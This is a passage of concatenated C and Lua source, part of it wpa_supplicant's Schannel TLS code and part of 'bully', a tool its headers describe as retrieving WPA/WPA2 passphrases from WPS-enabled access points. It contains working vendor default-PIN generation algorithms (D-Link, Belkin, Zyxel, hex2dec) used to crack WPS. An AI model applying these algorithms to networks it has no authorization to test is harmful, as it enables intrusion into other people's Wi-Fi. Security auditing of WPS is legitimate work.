#ifndef SECPKG_ATTR_EAP_KEY_BLOCK
#define SECPKG_ATTR_EAP_KEY_BLOCK 0x5b
typedef struct _SecPkgContext_EapKeyBlock {
BYTE rgbKeys[128];
BYTE rgbIVs[64];
} SecPkgContext_EapKeyBlock, *PSecPkgContext_EapKeyBlock;
#endif /* !SECPKG_ATTR_EAP_KEY_BLOCK */
static int tls_get_eap(struct tls_global *global, struct tls_connection *conn)
{
SECURITY_STATUS status;
SecPkgContext_EapKeyBlock kb;
/* Note: Windows NT and Windows Me/98/95 do not support getting
* EapKeyBlock */
status = global->sspi->QueryContextAttributes(
&conn->context, SECPKG_ATTR_EAP_KEY_BLOCK, &kb);
if (status != SEC_E_OK) {
wpa_printf(MSG_DEBUG, "%s: QueryContextAttributes("
"SECPKG_ATTR_EAP_KEY_BLOCK) failed (%d)",
__func__, (int) status);
return -1;
}
wpa_hexdump_key(MSG_MSGDUMP, "Schannel - EapKeyBlock - rgbKeys",
kb.rgbKeys, sizeof(kb.rgbKeys));
wpa_hexdump_key(MSG_MSGDUMP, "Schannel - EapKeyBlock - rgbIVs",
kb.rgbIVs, sizeof(kb.rgbIVs));
os_memcpy(conn->eap_tls_prf, kb.rgbKeys, sizeof(kb.rgbKeys));
conn->eap_tls_prf_set = 1;
return 0;
}
struct wpabuf * tls_connection_handshake(void *tls_ctx,
struct tls_connection *conn,
const struct wpabuf *in_data,
struct wpabuf **appl_data)
{
struct tls_global *global = tls_ctx;
DWORD sspi_flags, sspi_flags_out;
SecBufferDesc inbuf, outbuf;
SecBuffer inbufs[2], outbufs[1];
SECURITY_STATUS status;
TimeStamp ts_expiry;
struct wpabuf *out_buf = NULL;
if (appl_data)
*appl_data = NULL;
if (conn->start)
return tls_conn_hs_clienthello(global, conn);
wpa_printf(MSG_DEBUG, "SChannel: %d bytes handshake data to process",
(int) wpabuf_len(in_data));
sspi_flags = ISC_REQ_REPLAY_DETECT |
ISC_REQ_CONFIDENTIALITY |
ISC_RET_EXTENDED_ERROR |
ISC_REQ_ALLOCATE_MEMORY |
ISC_REQ_MANUAL_CRED_VALIDATION;
/* Input buffer for Schannel */
inbufs[0].pvBuffer = (u8 *) wpabuf_head(in_data);
inbufs[0].cbBuffer = wpabuf_len(in_data);
inbufs[0].BufferType = SECBUFFER_TOKEN;
/* Place for leftover data from Schannel */
inbufs[1].pvBuffer = NULL;
inbufs[1].cbBuffer = 0;
inbufs[1].BufferType = SECBUFFER_EMPTY;
inbuf.cBuffers = 2;
inbuf.pBuffers = inbufs;
inbuf.ulVersion = SECBUFFER_VERSION;
/* Output buffer for Schannel */
outbufs[0].pvBuffer = NULL;
outbufs[0].cbBuffer = 0;
outbufs[0].BufferType = SECBUFFER_TOKEN;
outbuf.cBuffers = 1;
outbuf.pBuffers = outbufs;
outbuf.ulVersion = SECBUFFER_VERSION;
#ifdef UNICODE
status = global->sspi->InitializeSecurityContextW(
&conn->creds, &conn->context, NULL, sspi_flags, 0,
SECURITY_NATIVE_DREP, &inbuf, 0, NULL,
&outbuf, &sspi_flags_out, &ts_expiry);
#else /* UNICODE */
status = global->sspi->InitializeSecurityContextA(
&conn->creds, &conn->context, NULL, sspi_flags, 0,
SECURITY_NATIVE_DREP, &inbuf, 0, NULL,
&outbuf, &sspi_flags_out, &ts_expiry);
#endif /* UNICODE */
wpa_printf(MSG_MSGDUMP, "Schannel: InitializeSecurityContext -> "
"status=%d inlen[0]=%d intype[0]=%d inlen[1]=%d "
"intype[1]=%d outlen[0]=%d",
(int) status, (int) inbufs[0].cbBuffer,
(int) inbufs[0].BufferType, (int) inbufs[1].cbBuffer,
(int) inbufs[1].BufferType,
(int) outbufs[0].cbBuffer);
if (status == SEC_E_OK || status == SEC_I_CONTINUE_NEEDED ||
(FAILED(status) && (sspi_flags_out & ISC_RET_EXTENDED_ERROR))) {
if (outbufs[0].cbBuffer != 0 && outbufs[0].pvBuffer) {
wpa_hexdump(MSG_MSGDUMP, "SChannel - output",
outbufs[0].pvBuffer, outbufs[0].cbBuffer);
out_buf = wpabuf_alloc_copy(outbufs[0].pvBuffer,
outbufs[0].cbBuffer);
global->sspi->FreeContextBuffer(outbufs[0].pvBuffer);
outbufs[0].pvBuffer = NULL;
if (out_buf == NULL)
return NULL;
}
}
switch (status) {
case SEC_E_INCOMPLETE_MESSAGE:
wpa_printf(MSG_DEBUG, "Schannel: SEC_E_INCOMPLETE_MESSAGE");
break;
case SEC_I_CONTINUE_NEEDED:
wpa_printf(MSG_DEBUG, "Schannel: SEC_I_CONTINUE_NEEDED");
break;
case SEC_E_OK:
/* TODO: verify server certificate chain */
wpa_printf(MSG_DEBUG, "Schannel: SEC_E_OK - Handshake "
"completed successfully");
conn->established = 1;
tls_get_eap(global, conn);
/* Need to return something to get final TLS ACK. */
if (out_buf == NULL)
out_buf = wpabuf_alloc(0);
if (inbufs[1].BufferType == SECBUFFER_EXTRA) {
wpa_hexdump(MSG_MSGDUMP, "SChannel - Encrypted "
"application data",
inbufs[1].pvBuffer, inbufs[1].cbBuffer);
if (appl_data) {
*appl_data = wpabuf_alloc_copy(
outbufs[1].pvBuffer,
outbufs[1].cbBuffer);
}
global->sspi->FreeContextBuffer(inbufs[1].pvBuffer);
inbufs[1].pvBuffer = NULL;
}
break;
case SEC_I_INCOMPLETE_CREDENTIALS:
wpa_printf(MSG_DEBUG,
"Schannel: SEC_I_INCOMPLETE_CREDENTIALS");
break;
case SEC_E_WRONG_PRINCIPAL:
wpa_printf(MSG_DEBUG, "Schannel: SEC_E_WRONG_PRINCIPAL");
break;
case SEC_E_INTERNAL_ERROR:
wpa_printf(MSG_DEBUG, "Schannel: SEC_E_INTERNAL_ERROR");
break;
}
if (FAILED(status)) {
wpa_printf(MSG_DEBUG, "Schannel: Handshake failed "
"(out_buf=%p)", out_buf);
conn->failed++;
global->sspi->DeleteSecurityContext(&conn->context);
return out_buf;
}
if (inbufs[1].BufferType == SECBUFFER_EXTRA) {
/* TODO: Can this happen? What to do with this data? */
wpa_hexdump(MSG_MSGDUMP, "SChannel - Leftover data",
inbufs[1].pvBuffer, inbufs[1].cbBuffer);
global->sspi->FreeContextBuffer(inbufs[1].pvBuffer);
inbufs[1].pvBuffer = NULL;
}
return out_buf;
}
struct wpabuf * tls_connection_server_handshake(void *tls_ctx,
struct tls_connection *conn,
const struct wpabuf *in_data,
struct wpabuf **appl_data)
{
return NULL;
}
struct wpabuf * tls_connection_encrypt(void *tls_ctx,
struct tls_connection *conn,
const struct wpabuf *in_data)
{
struct tls_global *global = tls_ctx;
SECURITY_STATUS status;
SecBufferDesc buf;
SecBuffer bufs[4];
SecPkgContext_StreamSizes sizes;
int i;
struct wpabuf *out;
status = global->sspi->QueryContextAttributes(&conn->context,
SECPKG_ATTR_STREAM_SIZES,
&sizes);
if (status != SEC_E_OK) {
wpa_printf(MSG_DEBUG, "%s: QueryContextAttributes failed",
__func__);
return NULL;
}
wpa_printf(MSG_DEBUG, "%s: Stream sizes: header=%u trailer=%u",
__func__,
(unsigned int) sizes.cbHeader,
(unsigned int) sizes.cbTrailer);
out = wpabuf_alloc(sizes.cbHeader + wpabuf_len(in_data) +
sizes.cbTrailer);
os_memset(&bufs, 0, sizeof(bufs));
bufs[0].pvBuffer = wpabuf_put(out, sizes.cbHeader);
bufs[0].cbBuffer = sizes.cbHeader;
bufs[0].BufferType = SECBUFFER_STREAM_HEADER;
bufs[1].pvBuffer = wpabuf_put(out, 0);
wpabuf_put_buf(out, in_data);
bufs[1].cbBuffer = wpabuf_len(in_data);
bufs[1].BufferType = SECBUFFER_DATA;
bufs[2].pvBuffer = wpabuf_put(out, sizes.cbTrailer);
bufs[2].cbBuffer = sizes.cbTrailer;
bufs[2].BufferType = SECBUFFER_STREAM_TRAILER;
buf.ulVersion = SECBUFFER_VERSION;
buf.cBuffers = 3;
buf.pBuffers = bufs;
status = global->sspi->EncryptMessage(&conn->context, 0, &buf, 0);
wpa_printf(MSG_MSGDUMP, "Schannel: EncryptMessage -> "
"status=%d len[0]=%d type[0]=%d len[1]=%d type[1]=%d "
"len[2]=%d type[2]=%d",
(int) status,
(int) bufs[0].cbBuffer, (int) bufs[0].BufferType,
(int) bufs[1].cbBuffer, (int) bufs[1].BufferType,
(int) bufs[2].cbBuffer, (int) bufs[2].BufferType);
wpa_printf(MSG_MSGDUMP, "Schannel: EncryptMessage pointers: "
"out_data=%p bufs %p %p %p",
wpabuf_head(out), bufs[0].pvBuffer, bufs[1].pvBuffer,
bufs[2].pvBuffer);
for (i = 0; i < 3; i++) {
if (bufs[i].pvBuffer && bufs[i].BufferType != SECBUFFER_EMPTY)
{
wpa_hexdump(MSG_MSGDUMP, "SChannel: bufs",
bufs[i].pvBuffer, bufs[i].cbBuffer);
}
}
if (status == SEC_E_OK) {
wpa_printf(MSG_DEBUG, "%s: SEC_E_OK", __func__);
wpa_hexdump_buf_key(MSG_MSGDUMP, "Schannel: Encrypted data "
"from EncryptMessage", out);
return out;
}
wpa_printf(MSG_DEBUG, "%s: Failed - status=%d",
__func__, (int) status);
wpabuf_free(out);
return NULL;
}
struct wpabuf * tls_connection_decrypt(void *tls_ctx,
struct tls_connection *conn,
const struct wpabuf *in_data)
{
struct tls_global *global = tls_ctx;
SECURITY_STATUS status;
SecBufferDesc buf;
SecBuffer bufs[4];
int i;
struct wpabuf *out, *tmp;
wpa_hexdump_buf(MSG_MSGDUMP,
"Schannel: Encrypted data to DecryptMessage", in_data);
os_memset(&bufs, 0, sizeof(bufs));
tmp = wpabuf_dup(in_data);
if (tmp == NULL)
return NULL;
bufs[0].pvBuffer = wpabuf_mhead(tmp);
bufs[0].cbBuffer = wpabuf_len(in_data);
bufs[0].BufferType = SECBUFFER_DATA;
bufs[1].BufferType = SECBUFFER_EMPTY;
bufs[2].BufferType = SECBUFFER_EMPTY;
bufs[3].BufferType = SECBUFFER_EMPTY;
buf.ulVersion = SECBUFFER_VERSION;
buf.cBuffers = 4;
buf.pBuffers = bufs;
status = global->sspi->DecryptMessage(&conn->context, &buf, 0,
NULL);
wpa_printf(MSG_MSGDUMP, "Schannel: DecryptMessage -> "
"status=%d len[0]=%d type[0]=%d len[1]=%d type[1]=%d "
"len[2]=%d type[2]=%d len[3]=%d type[3]=%d",
(int) status,
(int) bufs[0].cbBuffer, (int) bufs[0].BufferType,
(int) bufs[1].cbBuffer, (int) bufs[1].BufferType,
(int) bufs[2].cbBuffer, (int) bufs[2].BufferType,
(int) bufs[3].cbBuffer, (int) bufs[3].BufferType);
wpa_printf(MSG_MSGDUMP, "Schannel: DecryptMessage pointers: "
"out_data=%p bufs %p %p %p %p",
wpabuf_head(tmp), bufs[0].pvBuffer, bufs[1].pvBuffer,
bufs[2].pvBuffer, bufs[3].pvBuffer);
switch (status) {
case SEC_E_INCOMPLETE_MESSAGE:
wpa_printf(MSG_DEBUG, "%s: SEC_E_INCOMPLETE_MESSAGE",
__func__);
break;
case SEC_E_OK:
wpa_printf(MSG_DEBUG, "%s: SEC_E_OK", __func__);
for (i = 0; i < 4; i++) {
if (bufs[i].BufferType == SECBUFFER_DATA)
break;
}
if (i == 4) {
wpa_printf(MSG_DEBUG, "%s: No output data from "
"DecryptMessage", __func__);
wpabuf_free(tmp);
return NULL;
}
wpa_hexdump_key(MSG_MSGDUMP, "Schannel: Decrypted data from "
"DecryptMessage",
bufs[i].pvBuffer, bufs[i].cbBuffer);
out = wpabuf_alloc_copy(bufs[i].pvBuffer, bufs[i].cbBuffer);
wpabuf_free(tmp);
return out;
}
wpa_printf(MSG_DEBUG, "%s: Failed - status=%d",
__func__, (int) status);
wpabuf_free(tmp);
return NULL;
}
int tls_connection_resumed(void *ssl_ctx, struct tls_connection *conn)
{
return 0;
}
int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn,
u8 *ciphers)
{
return -1;
}
int tls_get_cipher(void *ssl_ctx, struct tls_connection *conn,
char *buf, size_t buflen)
{
return -1;
}
int tls_connection_enable_workaround(void *ssl_ctx,
struct tls_connection *conn)
{
return 0;
}
int tls_connection_client_hello_ext(void *ssl_ctx, struct tls_connection *conn,
int ext_type, const u8 *data,
size_t data_len)
{
return -1;
}
int tls_connection_get_failed(void *ssl_ctx, struct tls_connection *conn)
{
if (conn == NULL)
return -1;
return conn->failed;
}
int tls_connection_get_read_alerts(void *ssl_ctx, struct tls_connection *conn)
{
if (conn == NULL)
return -1;
return conn->read_alerts;
}
int tls_connection_get_write_alerts(void *ssl_ctx, struct tls_connection *conn)
{
if (conn == NULL)
return -1;
return conn->write_alerts;
}
int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn,
const struct tls_connection_params *params)
{
struct tls_global *global = tls_ctx;
ALG_ID algs[1];
SECURITY_STATUS status;
TimeStamp ts_expiry;
if (conn == NULL)
return -1;
if (global->my_cert_store == NULL &&
(global->my_cert_store = CertOpenSystemStore(0, TEXT("MY"))) ==
NULL) {
wpa_printf(MSG_ERROR, "%s: CertOpenSystemStore failed - 0x%x",
__func__, (unsigned int) GetLastError());
return -1;
}
os_memset(&conn->schannel_cred, 0, sizeof(conn->schannel_cred));
conn->schannel_cred.dwVersion = SCHANNEL_CRED_VERSION;
conn->schannel_cred.grbitEnabledProtocols = SP_PROT_TLS1;
algs[0] = CALG_RSA_KEYX;
conn->schannel_cred.cSupportedAlgs = 1;
conn->schannel_cred.palgSupportedAlgs = algs;
conn->schannel_cred.dwFlags |= SCH_CRED_NO_DEFAULT_CREDS;
#ifdef UNICODE
status = global->sspi->AcquireCredentialsHandleW(
NULL, UNISP_NAME_W, SECPKG_CRED_OUTBOUND, NULL,
&conn->schannel_cred, NULL, NULL, &conn->creds, &ts_expiry);
#else /* UNICODE */
status = global->sspi->AcquireCredentialsHandleA(
NULL, UNISP_NAME_A, SECPKG_CRED_OUTBOUND, NULL,
&conn->schannel_cred, NULL, NULL, &conn->creds, &ts_expiry);
#endif /* UNICODE */
if (status != SEC_E_OK) {
wpa_printf(MSG_DEBUG, "%s: AcquireCredentialsHandleA failed - "
"0x%x", __func__, (unsigned int) status);
return -1;
}
return 0;
}
unsigned int tls_capabilities(void *tls_ctx)
{
return 0;
}
int tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn,
int tls_ia)
{
return -1;
}
struct wpabuf * tls_connection_ia_send_phase_finished(
void *tls_ctx, struct tls_connection *conn, int final);
{
return NULL;
}
int tls_connection_ia_final_phase_finished(void *tls_ctx,
struct tls_connection *conn)
{
return -1;
}
int tls_connection_ia_permute_inner_secret(void *tls_ctx,
struct tls_connection *conn,
const u8 *key, size_t key_len)
{
return -1;
}
bully-1.4-00/src/frame.c 0000775 0000000 0000000 00000003113 13615304636 0014757 0 ustar 00root root 0000000 0000000 /*
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
Copyright (C) 2012 Brian Purcell
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
*/
#include "80211.h"
#include "frame.h"
static inline void f_set(frame_t *fp, int id, int next, uint8 *data, int size, int list)
{
fp[id].next = (next ? &fp[next] : NULL);
fp[id].data = data;
fp[id].size = size;
fp[id].list = (list ? &fp[list] : NULL);
};
frame_t *f_init()
{
frame_t *fp = calloc(F_SIZE, F_MAX);
if (fp) {
f_set(fp, F_ALL, 0, NULL, 0, F_TAP);
f_set(fp, F_TAP, F_MAC, NULL, 0, 0);
f_set(fp, F_MAC, F_PAY, NULL, 0, 0);
f_set(fp, F_PAY, F_FCS, NULL, 0, F_LLC);
f_set(fp, F_FCS, 0, NULL, 0, 0);
f_set(fp, F_LLC, F_D1X, NULL, 0, 0);
f_set(fp, F_D1X, F_EAP, NULL, 0, 0);
f_set(fp, F_EAP, F_WFA, NULL, 0, 0);
f_set(fp, F_WFA, F_MSG, NULL, 0, 0);
f_set(fp, F_MSG, F_IDK, NULL, 0, 0);
f_set(fp, F_IDK, 0, NULL, 0, 0);
};
return fp;
};
bully-1.4-00/src/frame.h 0000775 0000000 0000000 00000002403 13615304636 0014765 0 ustar 00root root 0000000 0000000 /*
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
Copyright (C) 2012 Brian Purcell
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
*/
#ifndef _FRAME_H
#define _FRAME_H
struct frame {
struct frame *next;
uint8 *data;
int size;
struct frame *list;
};
typedef struct frame frame_t;
#define F_SIZE (sizeof(frame_t))
#define F_ALL 0
#define F_TAP 1
#define F_MAC 2
#define F_PAY 3
#define F_FCS 4
#define F_LLC 5
#define F_D1X 6
#define F_EAP 7
#define F_WFA 8
#define F_MSG 9
#define F_IDK 10
#define F_MAX 11
static inline void f_set(frame_t *fp, int id, int next, uint8 *data, int size, int list);
#endif /* _FRAME_H */
bully-1.4-00/src/iface.c 0000775 0000000 0000000 00000006001 13615304636 0014733 0 ustar 00root root 0000000 0000000 /*
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
Copyright (C) 2012 Brian Purcell
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
*/
#include "iface.h"
int set_chan(struct global *G, int chan)
{
if (!G->index[chan]) {
vprint("[X] AP channel '%d' not found in the current channel list\n", chan);
exit(5);
};
return set_chanx(G, G->index[chan]);
};
int set_chanx(struct global *G, int chanx)
{
int sock = 0, freq, result, channel = 0;
struct iwreq wrq;
memset(&wrq, 0, sizeof(struct iwreq));
strncpy(wrq.ifr_name, G->ifname, IFNAMSIZ);
if((sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
vprint("[!] Socket open for ioctl() on '%s' failed with '%d'\n", G->ifname, sock);
return 0;
};
if (chanx) {
channel = G->chans[chanx];
wrq.u.freq.m = (double)channel;
wrq.u.freq.e = (double)0;
wrq.u.freq.flags = IW_FREQ_FIXED;
vprint("[+] Switching interface '%s' to channel '%d'\n", G->ifname, channel);
if (ioctl(sock, SIOCSIWFREQ, &wrq) < 0) {
usleep(10000);
if ((result = ioctl(sock, SIOCSIWFREQ, &wrq)) < 0) {
vprint("[!] ioctl(SIOCSIWFREQ) on '%s' failed with '%d'\n", G->ifname, result);
vprint("[X] Unable to set channel on '%s', exiting\n", G->ifname);
exit(8);
};
};
} else {
if (ioctl(sock, SIOCGIWFREQ, &wrq) < 0) {
vprint("[!] ioctl(SIOCGIWFREQ) on '%s' failed with '%d'\n", G->ifname, result);
} else {
freq = wrq.u.freq.m;
if (freq < 100000000) freq *= 100000000;
for (chanx=1; chanx<=G->chans[0]; chanx++)
if (freq == G->freqs[chanx]) {
channel = G->chans[chanx];
goto set_exit;
};
vprint("[X] Unknown frequency '%d' reported by interface '%s'\n", freq, G->ifname);
};
chanx = channel = 0;
};
set_exit:
close(sock);
if (channel)
snprintf(G->schan, 8, "%d", channel);
else
memcpy(G->schan, "unknown", 8);
return chanx;
};
int next_chan(struct global *G)
{
int next = G->chanx + 1;
if (G->chans[0] < next)
next = 1;
return set_chanx(G, next);
};
int get_hwmac(char *ifname, uint8 *mac)
{
int sock = 0, result;
struct ifreq irq;
memset(&irq, 0, sizeof(struct iwreq));
strncpy(irq.ifr_name, ifname, IFNAMSIZ);
if((sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
return sock;
if ((result = ioctl(sock, SIOCGIFHWADDR, &irq)) < 0)
return result;
memcpy(mac, irq.ifr_hwaddr.sa_data, 6);
close(sock);
return 0;
};
bully-1.4-00/src/iface.h 0000775 0000000 0000000 00000004160 13615304636 0014744 0 ustar 00root root 0000000 0000000 /*
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
Copyright (C) 2020 kimocoder
Copyright (C) 2012 Brian Purcell
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
*/
#ifndef _IFACE_H
#define _IFACE_H
#include "bully.h"
char BG_CHANS[] = "1,5,9,13,2,6,10,3,7,11,4,8,12";
char AN_CHANS[] = "36,40,44,48,52,56,58,60";
struct cfreq {
int chan;
int freq;
} freqs[] = {
{ 1, 241200000 },
{ 2, 241700000 },
{ 3, 242200000 },
{ 4, 242700000 },
{ 5, 243200000 },
{ 6, 243700000 },
{ 7, 244200000 },
{ 8, 244700000 },
{ 9, 245200000 },
{ 10, 245700000 },
{ 11, 246200000 },
{ 12, 246700000 },
{ 13, 247200000 },
{ 14, 248400000 },
{ 34, 517000000 },
{ 36, 518000000 },
{ 38, 519000000 },
{ 40, 520000000 },
{ 42, 521000000 },
{ 44, 522000000 },
{ 46, 523000000 },
{ 48, 524000000 },
{ 52, 526000000 },
{ 56, 528000000 },
{ 58, 530000000 },
{ 60, 532000000 },
{ 100, 550000000 },
{ 104, 552000000 },
{ 108, 554000000 },
{ 112, 556000000 },
{ 116, 558000000 },
{ 120, 560000000 },
{ 124, 562000000 },
{ 128, 564000000 },
{ 132, 566000000 },
{ 136, 568000000 },
{ 140, 570000000 },
{ 149, 574500000 },
{ 153, 576500000 },
{ 157, 578500000 },
{ 161, 580500000 },
{ 165, 582500000 }
#define MAX_CHAN 165
};
#define NUM_CHAN (sizeof(freqs)/sizeof(struct cfreq))
int set_chan(struct global *G, int chan);
int set_chanx(struct global *G, int chanx);
int next_chan(struct global *G);
#endif /* _IFACE_H */
bully-1.4-00/src/lua/ 0000775 0000000 0000000 00000000000 13615304636 0014301 5 ustar 00root root 0000000 0000000 bully-1.4-00/src/lua/pure_algorithm.lua 0000664 0000000 0000000 00000004767 13615304636 0020043 0 ustar 00root root 0000000 0000000 --[[
Pure implementations in Lua 5.2 (without using the 'algorithm' library)
]]--
-- Same as 'algorithm.hex2dec(tbl_bssid, [offset])'
-- or 'algorithm.hex2dec(str_bssid, [offset])'
function gen_hex2dec(offset)
local pin = tonumber(str_bssid:sub(-6), 16)
pin = pin + (offset == nil and 0 or offset) -- Default offset = 0
pin = pin % 10000000
return pin * 10 + wps_pin_checksum(pin)
end
-- Same as 'algorithm.zyxel(tbl_bssid, [offset])'
-- or 'algorithm.zyxel(str_bssid, [offset])'
function gen_zyxel(offset)
local pin = tonumber(str_bssid:sub(-1, -2) .. str_bssid:sub(-3, -4)
.. str_bssid:sub(-5, -6), 16)
pin = pin + (offset == nil and 0 or offset)
pin = pin % 10000000
return pin * 10 + wps_pin_checksum(pin)
end
-- Same as 'algorithm.dlink(tbl_bssid, [offset])'
-- or 'algorithm.dlink(str_bssid, [offset])
function gen_dlink(offset)
local pin = tonumber(str_bssid:sub(-6), 16)
pin = pin + (offset == nil and 1 or offset) -- WAN mac is BSSID + 1 (default)
pin = bit32.bxor(pin, tonumber("0x55AA55"))
pin = bit32.bxor(pin, (bit32.lshift(bit32.band(pin, 15), 4)
+ bit32.lshift(bit32.band(pin, 15), 8)
+ bit32.lshift(bit32.band(pin, 15), 12)
+ bit32.lshift(bit32.band(pin, 15), 16)
+ bit32.lshift(bit32.band(pin, 15), 20)))
pin = pin % 10000000
if (pin < 1000000) then pin = pin + ((pin % 9) * 1000000) + 1000000 end
return pin * 10 + wps_pin_checksum(pin)
end
-- Same as 'algorithm.belink(tbl_bssid, str_wps_serial)'
-- or 'algorithm.belink(str_bssid, str_wps_serial)'
function gen_belkin()
local sn = {
tonumber(str_wps_serial:sub(-1, -1), 16),
tonumber(str_wps_serial:sub(-2, -2), 16),
tonumber(str_wps_serial:sub(-3, -3), 16),
tonumber(str_wps_serial:sub(-4, -4), 16)
}
local nic = {
tonumber(str_bssid:sub(-1, -1), 16),
tonumber(str_bssid:sub(-2, -2), 16),
tonumber(str_bssid:sub(-3, -3), 16),
tonumber(str_bssid:sub(-4, -4), 16)
}
local k1 = (sn[3] + sn[4] + nic[1] + nic[2]) % 16
local k2 = (sn[1] + sn[2] + nic[4] + nic[3]) % 16
local pin = bit32.bxor(k1, sn[2])
local t1, t2 = bit32.bxor(k1, sn[1]), bit32.bxor(k2, nic[2])
local p1 = bit32.bxor(nic[1], sn[2], t1)
local p2 = bit32.bxor(k2, nic[1], t2)
local p3 = bit32.bxor(k1, sn[3], k2, nic[3])
k1 = bit32.bxor(k1, k2)
pin = bit32.bxor(pin, k1) * 16
pin = (pin + t1) * 16;
pin = (pin + p1) * 16;
pin = (pin + t2) * 16;
pin = (pin + p2) * 16;
pin = (pin + k1) * 16;
pin = pin + p3
pin = (pin % 10000000) - (math.floor((pin % 10000000) / 10000000) * k1)
return pin * 10 + wps_pin_checksum(pin)
end
bully-1.4-00/src/lua/pure_wps.lua 0000664 0000000 0000000 00000001352 13615304636 0016651 0 ustar 00root root 0000000 0000000 --[[
Pure implementations in Lua 5.2 (without using the 'wps' library)
]]--
-- Same as 'wps.pin_checksum(pin)'
function wps_pin_checksum(pin)
local accum = 0
pin = pin * 10
accum = accum + 3 * (math.floor(pin / 10000000) % 10)
accum = accum + 1 * (math.floor(pin / 1000000) % 10)
accum = accum + 3 * (math.floor(pin / 100000) % 10)
accum = accum + 1 * (math.floor(pin / 10000) % 10)
accum = accum + 3 * (math.floor(pin / 1000) % 10)
accum = accum + 1 * (math.floor(pin / 100) % 10)
accum = accum + 3 * (math.floor(pin / 10) % 10)
return (10 - (accum % 10)) % 10
end
-- Same as 'wps.pin_valid(pin)' except this one returns true or false (!)
function wps_pin_valid(pin)
return wps_pin_checksum(math.floor(pin / 10)) == (pin % 10)
end
bully-1.4-00/src/lua/template.lua 0000664 0000000 0000000 00000001031 13615304636 0016612 0 ustar 00root root 0000000 0000000 --[[
DO NOT modify directly global variables IF you want to preserve
their original value throughout the execution of the script
(tables and numbers; strings are immutable)
]]--
-- Make use of provided libraries!
require("algorithm")
-- require("wps")
-- Entry point (returns an arbitrary list of PINs)
function main()
return algorithm.hex2dec(str_bssid), 12345670
end
--[[
Global variables:
* tbl_bssid[1..6] (or 'str_bssid' as string variant)
* str_essid (string)
* str_wps_serial (string)
* wps_version (real)
]]--
bully-1.4-00/src/luaclib.c 0000664 0000000 0000000 00000017400 13615304636 0015301 0 ustar 00root root 0000000 0000000 /*
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
Copyright (C) 2017 wiire
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
*/
#include
#include
#include
#include
#include "pingen.h"
/* For debugging when developing */
static void stack_dump(lua_State *L)
{
int i;
int top = lua_gettop(L);
for (i = 1; i <= top; i++) { /* Repeat for each level */
int t = lua_type(L, i);
switch (t) {
case LUA_TSTRING: /* Strings */
printf("`%s'", lua_tostring(L, i));
break;
case LUA_TBOOLEAN: /* Booleans */
printf(lua_toboolean(L, i) ? "true" : "false");
break;
case LUA_TNUMBER: /* Numbers */
printf("%g", lua_tonumber(L, i));
break;
default: /* Other values */
printf("%s", lua_typename(L, t));
break;
};
printf(" "); /* Put a separator */
};
printf("\n"); /* End the listing */
};
/* Lua wrapper around 'wps_pin_checksum' */
static int l_wps_checksum(lua_State *L)
{
if (lua_gettop(L) == 1) { /* 1 argument passed */
if (lua_isnumber(L, -1)) { /* Either number or string representing number */
unsigned int n = lua_tonumber(L, -1);
n = m_wps_pin_checksum(n);
lua_pushnumber(L, n); /* Push result */
return 1; /* Number of results returned */
};
};
};
/* Lua wrapper around 'wps_pin_valid' */
static int l_wps_valid(lua_State *L)
{
if (lua_gettop(L) == 1) { /* 1 argument passed */
if (lua_isnumber(L, -1)) { /* Either number or string representing number */
unsigned int n = lua_tonumber(L, -1);
n = m_wps_pin_valid(n);
lua_pushnumber(L, n); /* Push result */
return 1; /* Number of results returned */
};
};
};
/* Exposed functions */
const struct luaL_Reg wps_fn[] = {
{"pin_checksum", l_wps_checksum},
{"pin_valid", l_wps_valid },
{NULL, NULL}
};
/* Load functions */
int luaopen_wpslib(lua_State *L)
{
luaL_newlibtable(L, wps_fn);
luaL_setfuncs(L, wps_fn, 0);
return 1;
};
/* Wrapper for pair (bssid, offset) function generators */
static int l_gen_wrapper(lua_State *L, unsigned int (*f)(uint8_t *, int), int change)
{
unsigned int num_args = lua_gettop(L);
int index = -1;
int offset = change;
int type;
if (num_args == 1) {
redo:
type = lua_type(L, index);
if (type == LUA_TSTRING) {
unsigned int len = lua_rawlen(L, index);
if (len == 12 || len == 6) {
const char *bssid = lua_tostring(L, index) + (len - 6);
uint8_t bmac[6]; unsigned int imac[3];
sscanf(bssid, "%02X%02X%02X", &imac[0], &imac[1], &imac[2]);
